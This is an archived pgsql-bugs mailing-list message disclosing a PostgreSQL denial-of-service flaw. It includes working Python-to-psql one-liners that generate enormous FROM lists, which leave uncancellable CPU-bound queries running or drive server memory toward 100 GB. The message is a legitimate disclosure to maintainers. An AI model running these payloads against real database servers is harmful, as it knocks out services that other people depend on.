| From: | Anton Fedorov <datacompboy(at)gmail(dot)com> |
|---|---|
| To: | pgsql-bugs(at)lists(dot)postgresql(dot)org |
| Subject: | Fwd: Non-cancellable queries |
| Date: | 2026-05-19 20:44:33 |
| Message-ID: | CACNOLFGH_GPGXwzN23RXYbj3PaDxYKahHRGXnchCa7B=1TS7+w@mail.gmail.com |
| Views: | Whole Thread | Raw Message | Download mbox | Resend email |
| Thread: | |
| Lists: | pgsql-bugs |
Hello!
There is an interesting issue in PostgreSQL handling "FROM" list that could
be used to trigger DoS.
The issue is here from ancient times, reproducible on the latest release as
well:
docker pull postgres:latest
docker run postgres:latest
python -c "n=200000;print('with x as (select 1) select 1 from x
x',end='');any(print(str(x),end=',x x') for x in range(n))" | psql -h
172.17.0.3 -Upostgres -A &
killall -9 psql
You can run as many queries as you want; the queries sitting server-side,
consuming CPU:
[image: image.png]
The only way to kill them is to restart the server or wait almost
indefinitely.
=======
There is also similar long query that actually works as QoD triggering oom
killer:
python -c "print('create table if not exists x(x int); SELECT FROM x',
end='');any(print(',x x',end=str(n)) for n in range(10000))" | psql
If the query references a `WITH x AS (...)` table, it fails as expected
with a stack too deep.
When the query references an existing table, it consumes an enormous amount
of memory (and time) before failing anyway.
I've added memory tracking, and roughly:
4000 => 3.6 gb
5000 => 7.9 gb
6000 => 13.2 gb
7000 => 19.2 gb
8000 => 26.4 gb
9000 => 42 gb
10000 => 60 gb
11000 => 80 gb
12000 => 102 gb
| From | Date | Subject | |
|---|---|---|---|
| Next Message | Ayush Tiwari | 2026-05-20 04:37:15 | Re: BUG #19488: Standby connection fails after dropping on login event trigger enabled always |
| Previous Message | David G. Johnston | 2026-05-19 15:35:04 | BUG #19379: Role pg_read_all_data don't allowed read large objects |